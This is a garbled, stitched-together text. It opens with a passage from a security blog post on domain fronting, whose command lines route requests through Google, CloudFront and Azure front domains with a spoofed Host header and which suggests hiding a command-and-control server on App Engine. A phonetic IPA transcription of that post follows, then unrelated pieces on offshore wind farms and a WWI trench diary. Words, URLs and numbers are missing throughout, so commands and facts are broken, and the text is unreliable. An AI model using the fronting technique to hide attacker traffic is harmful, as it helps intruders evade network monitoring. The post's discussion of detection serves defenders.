$ -o- --header='host: 3benben.appspot.com' \://www.google.es/securityartwork | description | head -1 [...] <meta name="description" latest from security art work (@securityartwork). information security blog #hacking #intelligence company.es. españa, mexico, colombia"> [...]
this will work from countries or networks in which twitter is blocked, as long as google frontal servers are not blocked ;-)
there are a lot of networks that can be in this way; for example, meek supports the usage of a reflector hosted in amazon. this reflector proxies to a tor network bridge:
$ -qo-://a0.awsstatic.com/ --header 'host: d2zfqthxsdq309.cloudfront.net' just a happy little web server.
in this way, possible to use the tor network, and from the outside network monitoring will only get to see to the front domain a0.awsstatic.com, used for a bunch ofuff. the same happens with the microsoft azure network:
$ -qo-://ajax.aspnetcdn.com/ --header 'host: az786092.vo.msecnd.net' just a happy little web server.
in the same way that we could host our server on google app engine, the above examples show how to make the same thing with a hosted on or azure. this technique can be used to mask any type of network traffic; from outside it will seem like usual access to the corresponding frontal server.
so be careful with contacts with networks and frontal server: they are not always what they seem! :-) from the ignorance of the one who writes (any info is welcome! feel free to comment!), there are no published reports of apt groups that use this technique directly, but it would not be really surprising that in active usage as a common practice to circumvent egress controls and monitoring (there is information about some cases in which services like google docs, google drive, google apps script, and so on have been used for or, but as far as we know by now, they use domain fronting: they hide the access to domains like docs.google.com, which would be aep beyond).
of course, this is a technique relatively easy to detect by using traffic analysis (because although the domain that we see is only the frontal server domain, in reality the traffic corresponds to that of the embedded service, and going to produce a more or less distinguishable fingerprint, size and timing of network packets, and so on), or anomaly detection (for an easy one, if the/tls client fingerprint not hidden properly, detect the malware), but anotherory… ;-)
best regards!
@pmarinram
really cooluff | baɪ ɪn poʊst wi ər tɪ tɔk əˈbaʊt ə ˈsəmˈwət oʊld tɛkˈnik (ˌɔlˈðoʊ ˈproʊˌgræmz laɪk ˈsɪgnəl hæv ˈrisəntli ˈstɑrtɪd ˈjuzɪŋ ɪt) ðət aɪ hæv ˈɔlˌweɪz faʊnd tɪ bi ə ˈrɪli ˈklɛvər hæk: doʊˈmeɪn ˈfrəntɪŋ. fər ɪgˈzæmpəl, teɪk ðə ˌaɪˌpi ˈæˌdrɛs əv ðə ˈfrəntəl ðət sərvz: hoʊst həz ˈæˌdrɛs ɪf wi teɪk ə lʊk æt ðə ˈkɑmən neɪm (cn*) fild əv ðə sərˈtɪfɪkət rɪˈtərnd baɪ ðə ˈsərvər: ˈɛkoʊ -kəˈnɛkt -ˈsəbʤɪkt si ˈjuˈɛs, oʊ ˈɛkwɪˌfæks, u ˈɛkwɪˌfæks sɪˈkjʊr sərˈtɪfɪkət əˈθɔrəti ˈvɛrəˌfaɪ si ˈjuˈɛs, oʊ ɪŋk., ˈgloʊbəl ˈsiˈeɪ ˈvɛrəˌfaɪ si ˈjuˈɛs, oʊ ˈgugəl ɪŋk, ˈgugəl ˈɪntərˌnɛt əˈθɔrəti ˈvɛrəˌfaɪ si ˈjuˈɛs, ˌkæləˈfɔrnjə, ɛl ˈmaʊntən vju, oʊ ˈgugəl ɪŋk, ˈvɛrəˌfaɪ dən ˈsəbʤɪkt= -----bɪˈgɪn sərˈtɪfɪkət----- wi si ðət nɑt. ðɪs sərˈtɪfɪkət ɪz ɔˈθɛntəˌkeɪtɪŋ ə neɪm ðət ɪz nɑt ˈprɛzənt ɪn ɪts. ðə (wɪθ wɪʧ wi kən gɪt mɔr ˈɪnfoʊ əˈbaʊt ðə) həz ðə ˈænsər: ˈɛkoʊ -kəˈnɛkt -tɛkst ɪkˈstɛnʃənz: ɪkˈstɛndɪd ki ˈjusɪʤ: wɛb ˈsərvər ɔˌθɛntəˈkeɪʃən, wɛb klaɪənt ɔˌθɛntəˈkeɪʃən ˈsəbʤɪkt ɔlˈtərnətɪv neɪm: dns:google.com*, dns:*.2mdn.net*, dns:*.android.com*, dns:*.appengine.google.com*, dns:*.au.doubleclick.net*, dns:*.cc-dt.com*, dns:*.cloud.google.com*, dns:*.de.doubleclick.net*, ðə ˈsərvər ɪz ˈjuzɪŋ ðə ˈsəbʤɪkt ɔlˈtərnətɪv neɪm (sæn) ɪkˈstɛnʃən, ðət meɪks ɪt ˈpɑsəbəl tɪ sərv mɔr ðən wən ˈwɛbˌsaɪt frəm ðə seɪm ˌaɪˌpi ˈæˌdrɛs ˈjuzɪŋ ʤɪst wən sərˈtɪfɪkət. wi kən ˈɔlsoʊ juz klaɪənt saɪd) əˈnəðər mɔr ˈrisənt ˈproʊtəˌkɔl ɪkˈstɛnʃən kɔld ˈsərvər neɪm ˌɪndəˈkeɪʃən (sni*) tɪ rɪkˈwɛst ˈɛni əv ðə ˈvərʧuəl hoʊsts əˈveɪləbəl frəm ðə seɪm ˌaɪˌpi ˈæˌdrɛs. wi kən ˌɪnˈvoʊk ðə wɪθ ðə tɪ rɪkˈwɛst ˈɛni əv ðə ˈəðər əˈveɪləbəl; fər ɪgˈzæmpəl,: ˈɛkoʊ -kəˈnɛkt -ˈsəbʤɪkt si ˈjuˈɛs, oʊ ˈɛkwɪˌfæks, u ˈɛkwɪˌfæks sɪˈkjʊr sərˈtɪfɪkət əˈθɔrəti ˈvɛrəˌfaɪ si ˈjuˈɛs, oʊ ɪŋk., ˈgloʊbəl ˈsiˈeɪ ˈvɛrəˌfaɪ si ˈjuˈɛs, oʊ ˈgugəl ɪŋk, ˈgugəl ˈɪntərˌnɛt əˈθɔrəti ˈvɛrəˌfaɪ si ˈjuˈɛs, ˌkæləˈfɔrnjə, ɛl ˈmaʊntən vju, oʊ ˈgugəl ɪŋk, ˈvɛrəˌfaɪ dən ˈsəbʤɪkt= -----bɪˈgɪn sərˈtɪfɪkət----- ɪf wi lʊk æt ə ˈkæpʧər əv ðə ˈpriviəs ˌɪnərˈækʃən wɪθ wireshark*, wi kən ˈklɪrli si ðə fild əv ðə ɪkˈstɛnʃən; ðə klaɪənt həz toʊld ðə ˈsərvər (ɪn ðə ˈmɛsɪʤ əv ðə ˈhændˌʃeɪk) ðət ɪt wɔnts ðə ˈvərʧuəl hoʊst əv ðə ˈsərvɪs: ɪn fækt, ɪn ðə keɪs əv ˈgugəl (ənd ðɪs ˈɔlsoʊ ˈhæpənz wɪθ ˈmɛni ˈəðər ˈnɛtˌwərks ənd ˈfrəntəl ˈsərvərz, hɛns ðə neɪm əv ðə tɛkˈnik: doʊˈmeɪn ˈfrəntɪŋ), nɑt ˈivɪn ˈnɛsəˌsɛri tɪ juz ðə ɪkˈstɛnʃən; ɪˈnəf tɪ pɔɪnt əˈgɛnst ðə seɪm ˌaɪˌpi ˈæˌdrɛs, bət ˈspɛsəˌfaɪɪŋ ðə dɪˈzaɪərd ˈvərʧuəl hoʊst ˈjuzɪŋ ðə hoʊst ˈhɛdər: -kju -ɛs --ˈhɛdər 'hoʊst:' 301 muvd ˈpərmɑˌnɛnˌtli loʊˈkeɪʃən: /meɪl/ content-type*: text/html*; ðəs, ɛz ə rɪˈzəlt əv ðə kəˈmænd əˈbəv, ˈsəmˌwən hu ɪz ˈmɑnətərɪŋ ðə ˈnɛtˌwərk ʤɪst gɪts tɪ si ə rɪkˈwɛst tɪ: ðə ˈtræfɪk əv ðə ˌɪnərˈækʃənz wɪθ steɪz ˌɪnˈsaɪd, ˈkæməˌflɑʒd ɪn ðə leɪər ənˈlɛs wi breɪk ðət leɪər wɪθ daɪˈnæmɪk ˌʤɛnərˈeɪʃən frəm ə ˌsərtəfəˈkeɪʃən əˈθɔrəti ˈprɛzənt ɪn ɔl ˈwərkˌsteɪʃənz (ˈivɪn ɪn ðɪs keɪs, ðə ɪz goʊɪŋ tɪ hæv ˈtrəbəl wɪθ θɪŋz laɪk sərˈtɪfɪkət ˈpɪnɪŋ). soʊ, ðə ædˈvæntɪʤ? jɛs, wi ɔl noʊ ðət ˈgugəl ˈjuzɪz ðə seɪm fər ˈɛvriˌθɪŋ, soʊ wət? wət wi gɪt baɪ ˈhaɪdɪŋ ˈtræfɪk ˌɪnˈsaɪd ʤəˈnɛrɪk ˈgugəl ˈsərʧɪz? wɛl, ɪf wi beɪs ɑr kəˈmænd kənˈtroʊl ər ˈsərvər ɔn, wi hæv ə dɪˈrɛkt ædˈvæntɪʤ, bət ðə θɪŋ goʊz bɪɔnd: ˈgugəl æp ˈɪnʤən (gaɪ) æps, ˈhoʊstɪd (əˈməŋ ˈəðərz) ɔn doʊˈmeɪnz, ər ˈɔlsoʊ sərvd frəm ðə seɪm. soʊ ɪn ðɪs ˌpɑˈtɪkjələr keɪs, nɑt ˈoʊnli ðət wi kʊd dɪˈplɔɪ ɑr ˈsərvər ɔn wɛb ˈsərvɪsɪz (ər ˈgugəl draɪv, ər ˈgugəl docs…*…): ðət wi kən hæk ɪt dɪˈrɛkli ɛz ə gaɪ æp ɪn myc2server.appspot.com*, ənd ˈnɛtˌwərk ˈmɑnətərɪŋ wɪl nɑt ˈivɪn si ðə rɪkˈwɛsts əˈgɛnst ðət doʊˈmeɪn (ðə ˈoʊnli ˈrɛʤɪstərd ˈtræfɪk wɪl bi rɪkˈwɛsts fər ənd əˈpɛrəntli ləˈʤɪtəmət, ʤəˈnɛrɪk, ˈbɔrɪŋ ˈgugəl sərʧ ˈtræfɪk). ənd wət ɪz ˈbɛtər: tɪ dɪsˈmænəl ɑr stəf, ər ˈgugəl dɪˈtɛkts ˈsəmˌhaʊ ðət wi hæv ən ˈsərvər ˈhoʊstɪd ɔn myc2server.appspot.com*, ər ðə ˈnɛtˌwərk ˈmɑnətərɪŋ stæf həz tɪ ““break”*” (ər blɑk ɔl ˈtræfɪk ɪn ˈʤɛnərəl, ər ˈækˌsɛs tɪ ɔl ˈgugəl ˈfrəntəl ˈsərvərz ɪn ˌpɑˈtɪkjələr). ðɪs ɪz nɑt goʊɪŋ tɪ bi gʊd nuz fər ðə ˈkəmpəˌni: noʊ ˈgugəl wɛb sərʧ əˈveɪləbəl? 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if there's one thing that has a lot of, it's coastlines. offshore wind power is a great fit for the country, which is probably why the government and private companies have decided to invest trillion won ($8.2 billion) in offshore wind farms. a 100 pilot wind farm is scheduled to come online by 2013, to be followed by a 900 one by 2016, and then an additional of further capacity by 2019, for a total of and 500 turbines (huge 5 ones!).
the new wind farms will be located on the country's west coast.
"the nation joins china, denmark, the u.s. and other countries in developing offshore wind farms. global offshore wind power capacity totals, with under construction and about 154 planned or proposed, according to the ministry." (source)
via bloomberg,
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diary of the damned: never seen before, a lost diary of the great war so brutally vivid you'll feel you are there in the trenches
harry drinkwater joined a 'pals battalion' when the war began in 1914
he was sent to the front lines and suffered the grueling realities of war
his diary entries, never before published, tell of his hellish existence caked in mud, deprived of sleep and endlessly confronted by the deaths of his friends
volunteer: harry drinkwater, pictured, recorded the horrors of the first world war in vivid diary entries
after volunteering as an army private following the outbreak of world war i in 1914, former boy harry drinkwater, 25, joined a ‘pals battalion’ so-called because the men were encouraged to join up with local friends and work colleagues.
a few months later, his conversion from shop assistant to soldier was complete.
in this extract from his remarkable diary - which it was strictly against the rules to keep and which has been published for the first time - harry writes about his brutal introduction to the trenches at the in picardie, northern france...
thursday, december 16, 1915
arrived in [the hamlet of] suzanne today, after a very hard march. in tents, 12 men in each, encamped between the enemy and our own heavy guns.
at night-time, one sees little slits of light shining from the tents on the puddles of water outside, which give the impression of a fairy land.
rolling into our blankets, we occasionally hear the ‘splash, splash’ as some fellow moves from one tent to another, or the plod of the sentry. plus the continual shriek of shells.
tomorrow we go into the trenches. i wonder what sort of a show we will make.
sunday, december 19
no words can adequately describe the conditions. not the germans fighting, but the weather. within an hour of moving off, we were up to our knees in mud and water.
the mud gradually got deeper as we advanced along the trench.
we gone far before we had to duck; the enemy were sending over their evening salute of shells.
pals battalion: harry (centre left, marked in blue ink) joined the second birmingham battalion alongside friends from home. most of them died by the end of the war
to move forward, i had to use both elbows for leverage, one each side of the trench. after about one and a half hours of this, we reached the firing line. later, i groped my way to our dugout. what a sight.
imagine a room underneath the ground, whose walls are slimy with moisture. the floor is a foot or more deep in mud.
monday, december 20
the trenches are in a terrible condition anything up to deep in mud and water. plastered in mud up to our faces.
our food - cold bacon, bread and jam - is slung together in a sack that hangs from the dripping dugout roof. consequently, we eat and drink mud.
tuesday, december 21
heavy bombardment at about 11am. heard a fearful crash. the next dugout to ours blown to blazes, and our physical drill instructor sergeant horton with it.
i helped dig him out. but before we could get him anywhere, departed this life - our first experience of death. tired out, sick of everything.
saturday, december 25
after five days in the trenches, thankful we can still walk. had approximately an sleep a day - always standing up.
often, when from sheer exhaustion i doze off, awakened by a fat squeaking rat on my shoulder or feel it running over my head.
most of the rations fail to arrive - because the communication trenches are and being continually shelled. we eat with hands caked in mud, which has caused many cases of acute dysentery.
deluged: three members of harry's company can be seen here posing in a trench flooded with mud almost to waist height
in common with others, done regular turns at the firing line. a very creepy business looking over the top, imagining every noise is a german. a rat skirmishing among empty tins in land is sufficient to attract all our attention.
each morning, one hour before daybreak, every man stands in the trench until daylight. this is in case the germans follow the old custom of attacking just before dawn. the same happens an hour before sunset.
last night, i had a narrow squeak. i was wedged in the mud when i heard a shell coming. unable to move quickly, i crouched when it burst on the parapet and got covered in dirt.
later, we marched to our billets [for rest days]. this morning, christmas day, i took my shirt off - thick with dried mud - and had a wash. we had one tub and no soap between about 50 fellows.
friday, december 31
back on the firing line, and nearly up to our waists in mud. found a new diversion at dusk, we put a small piece of cheese on the end of a bayonet, wait for a rat to have a nibble, and then pull the trigger.
saturday, january 8, 1916
raffle prize: harry won this german scabbard in a raffle and sent it home
at about 3.30am, i heard noises that sounded like wires scraping together. half an hour later, a sentry spotted two men rising from the ground about 30 yards in front of our trench. we all opened rapid fire.
at daybreak, we saw the result: a dead german lay about 20 yards in front. scattered around were about a dozen hand-grenades. given another five minutes, our trench would have been blown to bits.
the victim had got partly through our barbed wire which is probably what i heard. later, we his bayonet scabbard. i was the winner and sent it home as a souvenir.
harry’s next posting was to the front line near in the region of artois.
saturday, march 4
nothing here but trench after trench and, in places, the ground blown into heaps of dirt. the trees have been hacked to pieces only black stumps remain. nothing grows. utter desolation.
tuesday, march 7
worked at a feverish pace, digging and strengthening trenches all through last night. then through the day, i have to do an sentry duty every third hour.
this is followed by an hour as the relief man, when able to sit down. for the third hour, i can sleep. feeling like most of the other fellows - half dead.
wednesday, march 8
snowed all night. had a hard job to keep awake. one or two fellows - of whom i was one - were found to be fast asleep at the end of their sentry. gone to sleep standing up - and the relief man was also asleep.
under military law, this is a crime of the first water [punishable by execution]. so, as a preventative, arranged between ourselves that each sentry along the trench will fire his rifle at intervals.
at dusk, i put my head over the top to have a look around and stopped a bullet on the side of my steel hat. the vibration made my head ache.
thursday, march 9
owing to food transports going astray, we have one loaf between five of us, a few biscuits and half a tin of marmalade each per day. have just heard we have a march before we can be [for rest]. jolly hard lines.
rest: this annotated photograph shows the 'billets' where harry and his comrades were taken for rest
friday, march 10
it was snowing as we set out at last night. i saw two fellows - fast asleep as they walked along - walk out of the ranks and fall into the ditch at the side of the road.
we halted for ten minutes’ rest and i dropped down into a puddle and went to sleep. was unable to get up without help, and ended up hanging on to lieutenant davis on one side and a stretcher-bearer the other.
tried to pull myself together and went headlong on the road. they got me to my feet again but i was helpless. have a vague idea that i was laid on some straw. then oblivion.
casualty: harry's diary described bringing wounded men back from the frontlines. the men pictured were fighting in the battle of the, where harry also fought
sunday, april 23
easter sunday. a beautifully sunny [rest] day. writing in a field beside a brook i can easily imagine myself back in england.
we’re all struck with the strangeness of things; one week in hell and the next in comparative bliss.
harry was also helping to dig deep shafts that branched out towards the enemy lines. the idea was to lay explosive charges beneath german trenches - but as the germans were doing likewise, the mining teams often tried to blow each other up halfway across.
sunday, may 7
working in the mines - an awful strain mentally. some of a mile under the ground. air is got down by means of a large pair of bellows, connected to a long pipe. but very stuffy, and we work with backs bent for eight hours.
monday, may 8
mines again. feeling very fed up. no one jokes: we all have it in the back of our minds that the germans’ mines will go up while down one of ours - and not a pleasant reflection.
friday, may 19
the germans forestalled us this morning by about three hours. after three months of hard work, our mine, timed to go up at 8am, was blown in by the germans at 4.30am.
there was a terrific explosion. the ground for yards around was lifted skywards, leaving a huge crater in the ground.
hellish fields: an aerial photograph of the trenches where harry served
captain edwards, our company captain, crept out over my parapet to investigate the damage and was met by a fusillade of bullets. he stopped one through the shoulder and one in the head.
the moment after he was hit, an engineer sprang on to the parapet and, crawling on his stomach, dragged him back.
it’s worth noting that the german sentry who shot edwards could also have shot his rescuer. if he refrained from humane motives, he was a sportsman.
saturday, may 20
one of our fellows put his head and shoulders over the top and was immediately sniped through the head.
sunday, may 21
after sentry duty, we passed major jones, of the battalion, as we crept back to the dugout. ten minutes later, he was being dug out of about of earth.
he’d gone out to the mine crater after passing us. death was instant.
we’d barely arrived at our dugout when a runner came along and gave the gas alarm. at the same time, shells were raining down.
brothers: william (far left) was killed by german fire, and was so badly disfigured that his own brother, herbert (second left, standing with a pipe), did not realise who he was. harry is second from the right in this photograph
i helped to carry an to the dressing station. his features were blown away but i recognised him by his identity disk as one of my pals.
he was one of two brothers. the other, a stretcher-bearer unconscious of his identity, was the one who dug him out. arrived back at the dugout feeling very sick.
monday may 22
at 11pm, our fellows, not sure of their ground in the dark, started slinging bombs in among themselves. quite a usual occurrence.
wednesday, may 24
today, d company, on our left, went over the top. got about 100 yards when they were met by a of machine guns and rifle fire.
but they still advanced. some got to the german lines and were killed on the parapet; some got entangled in the barbed wire and riddled with bullets. casualties: 33.
orders were now given to erect barbed wire in the crater left by the exploded mine.
tuesday, may 30
at 3am, we crawled into the crater and carried on wiring - just 15 yards from the german listening post. this crater alone has cost us 20 casualties so far.
wednesday, may 31
six of us relieved the sentries in the crater. it was an uncanny night: raw, cold and a thick mist. we lay on the inside lip and hardly moved.
at the first twinge of dawn, one of the fellows peeped over the top and saw four germans digging like blazes within 12 yards of where we were lying.
diaries: harry's remarkable diary is being published for the first time, 35 years after he died
for some reason, been told that under no circumstances were we to fire; so we withdrew. never been very clear to me why we should risk so much life just to put barbed wire entanglements in the bottom of a crater.
today, been all day long. the germans are very restless over this crater. they quite make out what doing with it and what we want it for.
thursday, june 1
the crater has been completely transformed. now built a little shack on the near side, protected by sandbags.
tuesday, june 6
at on sunday, a shell landed in front of me and another behind, blowing in the rear of the trench and smothering me with dirt. casualties were occurring rapidly.
i’d barely bandaged jones, who was badly hit, when eastwood came rushing in to say the shelter in the crater had been blown in and the sentry group buried. a day sooner, and have been one of them.
jinks and i gathered picks and shovels and made for the crater. crawled about 15 yards when a shell landed immediately on top of the trench, partly burying us with earth.
i felt the force of the explosion force my head into my body and it was some seconds before i was able to see. by this time, it was impossible to go on. the ground with explosions and the air was thick with fumes.
buried alive: sergeant ashby (pictured far left before leaving to fight) was buried in the mine crater mentioned in harry's 6 june entry
i for a moment think get out of this alive. but, after three hours, everything ceased as suddenly as it started.
later, i found an unexploded shell within a couple of feet of where jinks and i had been lying. the gods had been good.
we made our way back to the front line, dazed. it was unrecognisable: a series of holes, no real trench remaining.
some fellows were lying about dead, some wounded and some alive - one of whom inquired about the fellows in the crater. then i remembered why left the line.
gathering up what picks we could find, a sergeant and i crawled back over the top and into the crater. a wretched sight.
young cooper was wedged in the doorway dead, the remainder buried under the shack. we dug like fury for two hours, impelled by the fact that we could hear someone faintly groaning - and that at any moment, the germans would be coming over.
only sergeant ashby had some signs of life. leaving those we help, we carried him down to what remained of the front line.
at 9.30pm, raper and middleton - close friends - went down, killed by a rifle grenade. then jinks was hit by another as we lay next to each other. his legs had been blown off and he was going fast.
i could do little else than kneel by his side. he asked me not to leave him and recognised me almost to the last moment. i saw him go west. it was quickly over.
harry drinkwater, 25, joined a ‘pals battalion’ so-called because the men were encouraged to join up with local friends and work colleagues
meanwhile, the germans were coming in. only a few got out of our trench again; the rest of the germans were either or bombed, and we buried them later.
wednesday, june 7
total battalion casualties for sunday: 120. the this morning was somewhat pathetic. each time a name was called out and no one answered, we had to say if seen the fellow killed or knew if he was wounded.
there are now very few of the original men i joined with. the idea under which the battalion was formed, that of friends serving together, has long since passed.
thursday, june 15
this afternoon we lost four more. but quite resigned nowadays to losing old originals. it seems as if the fates have decreed that had a good run and time they went.
kilby asks: ‘whose turn next?’ we all wonder...
kilby is last mentioned in a diary entry dated january 23, 1917. he and harry are at a rest camp in and harry is leaving for blighty. by the end of the war, harry had served on the, at and in italy and had received the military cross for bravery. after being demobbed, he worked as a civil servant. he never married and died in 1978. | ˈdaɪəri əv ðə dæmd: ˈnɛvər sin ˌbiˈfɔr, ə lɔst ˈdaɪəri əv ðə greɪt wɔr soʊ ˈbrutəli ˈvɪvɪd jul fil ju ər ðɛr ɪn ðə ˈtrɛnʧɪz ˈhɛri ˈdrɪŋkˌwɔtər ʤɔɪnd ə 'pælz bəˈtæljən' wɪn ðə wɔr bɪˈgæn ɪn 1914 hi wɑz sɛnt tɪ ðə frənt laɪnz ənd ˈsəfərd ðə ˈgruɪlɪŋ ˌriˈæləˌtiz əv wɔr hɪz ˈdaɪəri ˈɛntriz, ˈnɛvər ˌbiˈfɔr ˈpəblɪʃt, tɛl əv hɪz ˈhɛlɪʃ ɪgˈzɪstəns keɪkt ɪn məd, dɪˈpraɪvd əv slip ənd ˈɛndləsli kənˈfrəntɪd baɪ ðə dɛθs əv hɪz frɛndz ˌvɑlənˈtɪr: ˈhɛri ˈdrɪŋkˌwɔtər, ˈpɪkʧərd, rɪˈkɔrdɪd ðə ˈhɔrərz əv ðə fərst wərld wɔr ɪn ˈvɪvɪd ˈdaɪəri ˈɛntriz ˈæftər ˌvɔlənˈtɪrɪŋ ɛz ən ˈɑrmi ˈpraɪvət ˈfɑloʊɪŋ ðə ˈaʊtˌbreɪk əv wərld wɔr aɪ ɪn 1914 ˈfɔrmər bɔɪ ˈhɛri ˈdrɪŋkˌwɔtər, 25 ʤɔɪnd ə battalion’*’ ˈsoʊˈkɔld bɪˈkəz ðə mɛn wər ɪnˈkərəʤd tɪ ʤɔɪn əp wɪθ ˈloʊkəl frɛndz ənd wərk ˈkɑligz. ə fju mənθs ˈleɪtər, hɪz kənˈvərʒən frəm ʃɑp əˈsɪstənt tɪ ˈsoʊlʤər wɑz kəmˈplit. ɪn ðɪs ˈɛkˌstrækt frəm hɪz rɪˈmɑrkəbəl ˈdaɪəri wɪʧ ɪt wɑz ˈstrɪktli əˈgɛnst ðə rulz tɪ kip ənd wɪʧ həz bɪn ˈpəblɪʃt fər ðə fərst taɪm ˈhɛri raɪts əˈbaʊt hɪz ˈbrutəl ˌɪntrəˈdəkʃən tɪ ðə ˈtrɛnʧɪz æt ðə ɪn picardie*, ˈnɔrðərn fræns... ˈθərzˌdeɪ, dɪˈsɛmbər 16 1915 əraɪvd ɪn [ðə ˈhæmlɪt əv] suˈzæn təˈdeɪ, ˈæftər ə ˈvɛri hɑrd mɑrʧ. ɪn tɛnts, 12 mɛn ɪn iʧ, ɪnˈkæmpt bɪtˈwin ðə ˈɛnəmi ənd ɑr oʊn ˈhɛvi gənz. æt night-time*, wən siz ˈlɪtəl slɪts əv laɪt ˈʃaɪnɪŋ frəm ðə tɛnts ɔn ðə ˈpədəlz əv ˈwɔtər ˈaʊtˈsaɪd, wɪʧ gɪv ðə ˌɪmˈprɛʃən əv ə ˈfɛri lænd. ˈroʊlɪŋ ˈɪntu ɑr ˈblæŋkəts, wi ɔˈkeɪʒənəˌli hir ðə ‘‘splash*, splash’*’ ɛz səm ˈfɛloʊ muvz frəm wən tɛnt tɪ əˈnəðər, ər ðə plɑd əv ðə ˈsɛntri. pləs ðə kənˈtɪnjuəl ʃrik əv ʃɛlz. təˈmɑˌroʊ wi goʊ ˈɪntu ðə ˈtrɛnʧɪz. aɪ ˈwəndər wət sɔrt əv ə ʃoʊ wi wɪl meɪk. ˈsənˌdi, dɪˈsɛmbər 19 noʊ wərdz kən ˈædəkwɪtli dɪˈskraɪb ðə kənˈdɪʃənz. nɑt ðə ˈʤərmənz ˈfaɪtɪŋ, bət ðə ˈwɛðər. wɪˈθɪn ən aʊər əv ˈmuvɪŋ ɔf, wi wər əp tɪ ɑr niz ɪn məd ənd ˈwɔtər. ðə məd ˈgræʤuəli gɑt ˈdipər ɛz wi ədˈvænst əˈlɔŋ ðə trɛnʧ. wi gɔn fɑr ˌbiˈfɔr wi hæd tɪ dək; ðə ˈɛnəmi wər ˈsɛndɪŋ ˈoʊvər ðɛr ˈivnɪŋ səˈlut əv ʃɛlz. pælz bəˈtæljən: ˈhɛri (ˈsɛntər lɛft, mɑrkt ɪn blu ɪŋk) ʤɔɪnd ðə ˈsɛkənd ˈbərmɪŋˌhæm bəˈtæljən əˈlɔŋˈsaɪd frɛndz frəm hoʊm. moʊst əv ðɛm daɪd baɪ ðə ɛnd əv ðə wɔr tɪ muv ˈfɔrwərd, aɪ hæd tɪ juz boʊθ ˈɛlˌboʊz fər ˈlɛvərɪʤ, wən iʧ saɪd əv ðə trɛnʧ. ˈæftər əˈbaʊt wən ənd ə hæf aʊərz əv ðɪs, wi riʧt ðə ˈfaɪərrɪŋ laɪn. ˈleɪtər, aɪ groʊpt maɪ weɪ tɪ ɑr ˈdəˌgaʊt. wət ə saɪt. ˌɪˈmæʤən ə rum ˌəndərˈniθ ðə graʊnd, huz wɔlz ər sˈlaɪmi wɪθ ˈmɔɪsʧər. ðə flɔr ɪz ə fʊt ər mɔr dip ɪn məd. ˈmənˌdeɪ, dɪˈsɛmbər 20 ðə ˈtrɛnʧɪz ər ɪn ə ˈtɛrəbəl kənˈdɪʃən ˈɛniˌθɪŋ əp tɪ dip ɪn məd ənd ˈwɔtər. ˈplæstərd ɪn məd əp tɪ ɑr ˈfeɪsɪz. ɑr fud koʊld ˈbeɪkən, brɛd ənd ʤæm ɪz sləŋ təˈgɛðər ɪn ə sæk ðət hæŋz frəm ðə ˈdrɪpɪŋ ˈdəˌgaʊt rʊf. ˈkɑnsəkˌwɛntli, wi it ənd drɪŋk məd. ˈtuzˌdeɪ, dɪˈsɛmbər 21 ˈhɛvi bɑmˈbɑrdmənt æt əˈbaʊt 11am*. hərd ə ˈfɪrfəl kræʃ. ðə nɛkst ˈdəˌgaʊt tɪ ɑrz bloʊn tɪ ˈbleɪzɪz, ənd ɑr ˈfɪzɪkəl drɪl ˌɪnˈstrəktər ˈsɑrʤənt ˈhɔrtən wɪθ ɪt. aɪ hɛlpt dɪg ɪm aʊt. bət ˌbiˈfɔr wi kʊd gɪt ɪm ˈɛniˌwɛr, dɪˈpɑrtɪd ðɪs laɪf ɑr fərst ɪkˈspɪriəns əv dɛθ. taɪərd aʊt, sɪk əv ˈɛvriˌθɪŋ. ˈsæˌtɪˌdeɪ, dɪˈsɛmbər 25 ˈæftər faɪv deɪz ɪn ðə ˈtrɛnʧɪz, ˈθæŋkfəl wi kən stɪl wɔk. hæd əˈprɑksəmətli ən slip ə deɪ ˈɔlˌweɪz ˈstændɪŋ əp. ˈɔfən, wɪn frəm ʃɪr ɪgˈzɔsʧən aɪ doʊz ɔf, əˈweɪkənd baɪ ə fæt skˈwikɪŋ ræt ɔn maɪ ˈʃoʊldər ər fil ɪt ˈrənɪŋ ˈoʊvər maɪ hɛd. moʊst əv ðə ˈræʃənz feɪl tɪ əraɪv bɪˈkəz ðə kəmˌjunəˈkeɪʃən ˈtrɛnʧɪz ər ənd biɪŋ kənˈtɪnjuəli ʃɛld. wi it wɪθ hænz keɪkt ɪn məd, wɪʧ həz kɔzd ˈmɛni ˈkeɪsɪz əv əˈkjut ˈdɪsənˌtɛri. ˈdɛljuʤd: θri ˈmɛmbərz əv ˈhɛriz ˈkəmpəˌni kən bi sin hir ˈpoʊzɪŋ ɪn ə trɛnʧ ˈflədɪd wɪθ məd ˈɔlˌmoʊst tɪ weɪst haɪt ɪn ˈkɑmən wɪθ ˈəðərz, dən ˈrɛgjələr tərnz æt ðə ˈfaɪərrɪŋ laɪn. ə ˈvɛri ˈkripi ˈbɪznɪs ˈlʊkɪŋ ˈoʊvər ðə tɔp, ˌɪˈmæʤənɪŋ ˈɛvəri nɔɪz ɪz ə ˈʤərmən. ə ræt ˈskərmɪʃɪŋ əˈməŋ ˈɛmti tɪnz ɪn lænd ɪz səˈfɪʃənt tɪ əˈtrækt ɔl ɑr əˈtɛnʃən. iʧ ˈmɔrnɪŋ, wən aʊər ˌbiˈfɔr ˈdeɪˌbreɪk, ˈɛvəri mæn stændz ɪn ðə trɛnʧ ənˈtɪl ˈdeɪˌlaɪt. ðɪs ɪz ɪn keɪs ðə ˈʤərmənz ˈfɑloʊ ðə oʊld ˈkəstəm əv əˈtækɪŋ ʤɪst ˌbiˈfɔr dɔn. ðə seɪm ˈhæpənz ən aʊər ˌbiˈfɔr ˈsənˌsɛt. læst naɪt, aɪ hæd ə ˈnɛroʊ skwik. aɪ wɑz wɛʤd ɪn ðə məd wɪn aɪ hərd ə ʃɛl ˈkəmɪŋ. əˈneɪbəl tɪ muv kˈwɪkli, aɪ kraʊʧt wɪn ɪt bərst ɔn ðə ˈpɛrəˌpɛt ənd gɑt ˈkəvərd ɪn dərt. ˈleɪtər, wi mɑrʧt tɪ ɑr ˈbɪləts [fər rɛst deɪz]. ðɪs ˈmɔrnɪŋ, ˈkrɪsməs deɪ, aɪ tʊk maɪ ʃərt ɔf θɪk wɪθ draɪd məd ənd hæd ə wɑʃ. wi hæd wən təb ənd noʊ soʊp bɪtˈwin əˈbaʊt 50 ˈfɛloʊz. ˈfraɪˌdeɪ, dɪˈsɛmbər 31 bæk ɔn ðə ˈfaɪərrɪŋ laɪn, ənd ˈnɪrli əp tɪ ɑr weɪsts ɪn məd. faʊnd ə nu dɪˈvərʒən æt dəsk, wi pʊt ə smɔl pis əv ʧiz ɔn ðə ɛnd əv ə ˈbeɪəˌnɛt, weɪt fər ə ræt tɪ hæv ə ˈnɪbəl, ənd ðɛn pʊl ðə ˈtrɪgər. ˈsæˌtɪˌdeɪ, 